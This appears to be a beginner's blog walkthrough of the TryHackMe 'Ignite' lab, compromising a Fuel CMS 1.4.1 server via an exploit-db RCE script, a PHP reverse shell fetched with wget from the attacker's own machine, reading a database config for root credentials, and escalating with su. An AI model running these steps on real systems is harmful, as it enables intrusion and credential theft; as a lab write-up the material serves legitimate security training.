Sitemap

Ignite TryHackMe WriteUp/Walkthrough

3 min readDec 15, 2023

--

This is a beginner-friendly guide explaining the Ignite room on TryHackMe, including detailed walkthrough and solutions.

after connecting to the VPN lets run a nmap scan, here is the result :

Press enter or click to view image in full size

HTTP is open lets check it on the website

Press enter or click to view image in full size

the website is made using fuel cms . by scrolling down we can see this details:

Press enter or click to view image in full size

its working and i found a page to upload files. letss try to upload reverse shell file 😉.

Press enter or click to view image in full size
browse the file and upload it

php reverse shell uploading is not working.

Press enter or click to view image in full size

we know the version of the fuel cms is 1.4.1. we have to check now is there any vulnerablity available in that version so checked in exploit-db for scripts.

Press enter or click to view image in full size
lets try these 3 remote code executions
https://www.exploit-db.com/exploits/50477

and 50477.py worked for me, this is how it should use:

Press enter or click to view image in full size

this shell have limited capablities so lets try to take reverse shell from there.

Get xer’s stories in your inbox

Join Medium for free to get updates from this writer.

lets try uploading reverse shell using python http.server

Press enter or click to view image in full size

take the reverse.php file from here and edit the ip address to your vpn ip:

Press enter or click to view image in full size
use wget to get the file
$wget http://10.18.29.118:8000/reverse.php
Press enter or click to view image in full size

lets visit the reverse shell file like this before the visit you need to listen the port you mentioned like this:

Press enter or click to view image in full size
its worked

now we got the real shell!!

the first flag is in :

cat /home/www-data/flag.txt

now we dont have the permission visit /root or we cannot escalate the user

lets check for the password for root. here we can find some database credentials:

cat /var/www/html/fuel/application/config/database.php
  'username' => 'root',
'password' => 'mememe',

lets see can we escalate to root using this credentials👀 lets check ‘su root’ is working

Press enter or click to view image in full size
yes ofcourse it is working

the final flag is in :

cat /root/root.txt

thank you for checking this writeup.

your regards,

xer

--

--